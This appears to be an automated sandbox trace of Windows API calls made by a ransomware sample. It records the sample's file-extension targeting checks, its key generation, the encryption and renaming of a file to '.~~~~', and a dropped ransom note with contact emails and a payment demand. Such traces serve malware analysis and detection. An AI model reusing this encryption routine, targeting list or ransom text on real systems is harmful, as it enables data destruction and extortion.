	[0082.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".msp") returned 0x0
	[0082.336] lstrlenW (lpString=".pif") returned 4
	[0082.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".pif") returned 0x0
	[0082.336] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch="msp\r\n.pif") returned 0x0
	[0082.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0082.361] lstrlenW (lpString=".sqb") returned 4
	[0082.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".sqb") returned 0x0
	[0082.361] lstrlenW (lpString=".ost") returned 4
	[0082.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".ost") returned 0x0
	[0082.361] lstrlenW (lpString=".txt") returned 4
	[0082.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".txt") returned 0x0
	[0082.361] lstrlenW (lpString=".mdt") returned 4
	[0082.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".mdt") returned 0x0
	[0082.361] lstrlenW (lpString=".BDB") returned 4
	[0082.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".BDB") returned 0x0
	[0082.361] lstrlenW (lpString=".eql") returned 4
	[0082.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".eql") returned 0x0
	[0082.362] lstrlenW (lpString=".DBF") returned 4
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".DBF") returned 0x0
	[0082.362] lstrlenW (lpString=".EQL") returned 4
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".EQL") returned 0x0
	[0082.362] lstrlenW (lpString=".FDB") returned 4
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".FDB") returned 0x0
	[0082.362] lstrlenW (lpString=".EDB") returned 4
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".EDB") returned 0x0
	[0082.362] lstrlenW (lpString=".DACPAC") returned 7
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".DACPAC") returned 0x0
	[0082.362] lstrlenW (lpString=".VHD") returned 4
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".VHD") returned 0x0
	[0082.362] lstrlenW (lpString=".DBV") returned 4
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".DBV") returned 0x0
	[0082.362] lstrlenW (lpString=".dacpac") returned 7
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".dacpac") returned 0x0
	[0082.362] lstrlenW (lpString=".sdf") returned 4
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".sdf") returned 0x0
	[0082.362] lstrlenW (lpString=".accdb") returned 6
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".accdb") returned 0x0
	[0082.362] lstrlenW (lpString=".DBX") returned 4
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".DBX") returned 0x0
	[0082.362] lstrlenW (lpString=".MDT") returned 4
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".MDT") returned 0x0
	[0082.362] lstrlenW (lpString=".SQB") returned 4
	[0082.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".SQB") returned 0x0
	[0082.363] lstrlenW (lpString=".vhd") returned 4
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".vhd") returned 0x0
	[0082.363] lstrlenW (lpString=".bac") returned 4
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".bac") returned 0x0
	[0082.363] lstrlenW (lpString=".mdf") returned 4
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".mdf") returned 0x0
	[0082.363] lstrlenW (lpString=".BAK") returned 4
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".BAK") returned 0x0
	[0082.363] lstrlenW (lpString=".BAC") returned 4
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".BAC") returned 0x0
	[0082.363] lstrlenW (lpString=".dbs") returned 4
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".dbs") returned 0x0
	[0082.363] lstrlenW (lpString=".vhdx") returned 5
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".vhdx") returned 0x0
	[0082.363] lstrlenW (lpString=".NDF") returned 4
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".NDF") returned 0x0
	[0082.363] lstrlenW (lpString=".dat") returned 4
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".dat") returned 0x0
	[0082.363] lstrlenW (lpString=".DBS") returned 4
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".DBS") returned 0x0
	[0082.363] lstrlenW (lpString=".CKP") returned 4
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".CKP") returned 0x0
	[0082.363] lstrlenW (lpString=".edb") returned 4
	[0082.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".edb") returned 0x0
	[0082.363] lstrlenW (lpString=".PST") returned 4
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".PST") returned 0x0
	[0082.364] lstrlenW (lpString=".dbf") returned 4
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".dbf") returned 0x0
	[0082.364] lstrlenW (lpString=".SQL") returned 4
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".SQL") returned 0x0
	[0082.364] lstrlenW (lpString=".pst") returned 4
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".pst") returned 0x0
	[0082.364] lstrlenW (lpString=".dbv") returned 4
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".dbv") returned 0x0
	[0082.364] lstrlenW (lpString=".SDF") returned 4
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".SDF") returned 0x0
	[0082.364] lstrlenW (lpString=".dtxs") returned 5
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".dtxs") returned 0x0
	[0082.364] lstrlenW (lpString=".db3") returned 4
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".db3") returned 0x0
	[0082.364] lstrlenW (lpString=".OST") returned 4
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".OST") returned 0x0
	[0082.364] lstrlenW (lpString=".dbx") returned 4
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".dbx") returned 0x0
	[0082.364] lstrlenW (lpString=".DB3") returned 4
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".DB3") returned 0x0
	[0082.364] lstrlenW (lpString=".DAT") returned 4
	[0082.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".DAT") returned=".DAT"
	[0082.364] lstrlenW (lpString=".DAT") returned 4
	[0082.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0082.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.365] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0082.366] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.366] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0082.366] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20235627478) returned 1
	[0082.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9af01790, dwHighDateTime=0x1d60e1e)) 
	[0082.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a35a0
	[0082.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a35a0 | out: hHeap=0x300000) returned 1
	[0082.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7d80
	[0082.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.367] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0082.367] GetLastError () returned 0x0
	[0082.367] GetLastError () returned 0x0
	[0082.367] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0082.367] GetLastError () returned 0x0
	[0082.367] GetLastError () returned 0x0
	[0082.367] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x9869, lpOverlapped=0x0) returned 1
	[0082.370] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff6797, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.370] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x9869, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x9869, lpOverlapped=0x0) returned 1
	[0082.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.370] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.370] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.370] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.370] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.371] CloseHandle (hObject=0x134) returned 1
	[0082.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a48e8
	[0082.371] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.~~~~")) returned 1
	[0082.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a48e8 | out: hHeap=0x300000) returned 1
	[0082.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.372] GetLastError () returned 0x0
	[0082.372] RtlWakeConditionVariable () returned 0x365f70
	[0082.372] GetCurrentThreadId () returned 0x9f4
	[0082.372] GetCurrentThreadId () returned 0x9f4
	[0082.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bd98
	[0082.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4100 | out: hHeap=0x300000) returned 1
	[0082.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3568 | out: hHeap=0x300000) returned 1
	[0082.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0082.374] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0082.374] WriteFile (in: hFile=0x134, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0082.375] CloseHandle (hObject=0x134) returned 1
	[0082.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4100 | out: hHeap=0x300000) returned 1
	[0082.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39bd98 | out: hHeap=0x300000) returned 1
	[0082.375] RtlWakeConditionVariable () returned 0x365f70
	[0082.375] GetCurrentThreadId () returned 0x9f4
	[0082.375] GetCurrentThreadId () returned 0x9f4
	[0082.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8410 | out: hHeap=0x300000) returned 1
	[0082.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3530 | out: hHeap=0x300000) returned 1
	[0082.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8410
	[0082.376] lstrlenW (lpString=".scr") returned 4
	[0082.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".scr") returned 0x0
	[0082.376] lstrlenW (lpString=".cmd") returned 4
	[0082.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".cmd") returned 0x0
	[0082.376] lstrlenW (lpString=".dll") returned 4
	[0082.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".dll") returned 0x0
	[0082.376] lstrlenW (lpString=".bat") returned 4
	[0082.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".bat") returned 0x0
	[0082.376] lstrlenW (lpString=".cpl") returned 4
	[0082.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".cpl") returned 0x0
	[0082.376] lstrlenW (lpString=".sys") returned 4
	[0082.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".sys") returned 0x0
	[0082.376] lstrlenW (lpString=".msc") returned 4
	[0082.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".msc") returned 0x0
	[0082.376] lstrlenW (lpString=".com") returned 4
	[0082.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".com") returned 0x0
	[0082.376] lstrlenW (lpString=".lnk") returned 4
	[0082.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".lnk") returned 0x0
	[0082.376] lstrlenW (lpString=".msp") returned 4
	[0082.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".msp") returned 0x0
	[0082.376] lstrlenW (lpString=".pif") returned 4
	[0082.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".pif") returned 0x0
	[0082.376] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0082.377] lstrlenW (lpString=".sqb") returned 4
	[0082.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".sqb") returned 0x0
	[0082.377] lstrlenW (lpString=".ost") returned 4
	[0082.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".ost") returned 0x0
	[0082.377] lstrlenW (lpString=".txt") returned 4
	[0082.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".txt") returned 0x0
	[0082.377] lstrlenW (lpString=".mdt") returned 4
	[0082.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".mdt") returned 0x0
	[0082.377] lstrlenW (lpString=".BDB") returned 4
	[0082.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".BDB") returned 0x0
	[0082.377] lstrlenW (lpString=".eql") returned 4
	[0082.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".eql") returned 0x0
	[0082.377] lstrlenW (lpString=".DBF") returned 4
	[0082.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".DBF") returned 0x0
	[0082.378] lstrlenW (lpString=".EQL") returned 4
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".EQL") returned 0x0
	[0082.378] lstrlenW (lpString=".FDB") returned 4
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".FDB") returned 0x0
	[0082.378] lstrlenW (lpString=".EDB") returned 4
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".EDB") returned 0x0
	[0082.378] lstrlenW (lpString=".DACPAC") returned 7
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".DACPAC") returned 0x0
	[0082.378] lstrlenW (lpString=".VHD") returned 4
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".VHD") returned 0x0
	[0082.378] lstrlenW (lpString=".DBV") returned 4
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".DBV") returned 0x0
	[0082.378] lstrlenW (lpString=".dacpac") returned 7
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".dacpac") returned 0x0
	[0082.378] lstrlenW (lpString=".sdf") returned 4
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".sdf") returned 0x0
	[0082.378] lstrlenW (lpString=".accdb") returned 6
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".accdb") returned 0x0
	[0082.378] lstrlenW (lpString=".DBX") returned 4
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".DBX") returned 0x0
	[0082.378] lstrlenW (lpString=".MDT") returned 4
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".MDT") returned 0x0
	[0082.378] lstrlenW (lpString=".SQB") returned 4
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".SQB") returned 0x0
	[0082.378] lstrlenW (lpString=".vhd") returned 4
	[0082.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".vhd") returned 0x0
	[0082.379] lstrlenW (lpString=".bac") returned 4
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".bac") returned 0x0
	[0082.379] lstrlenW (lpString=".mdf") returned 4
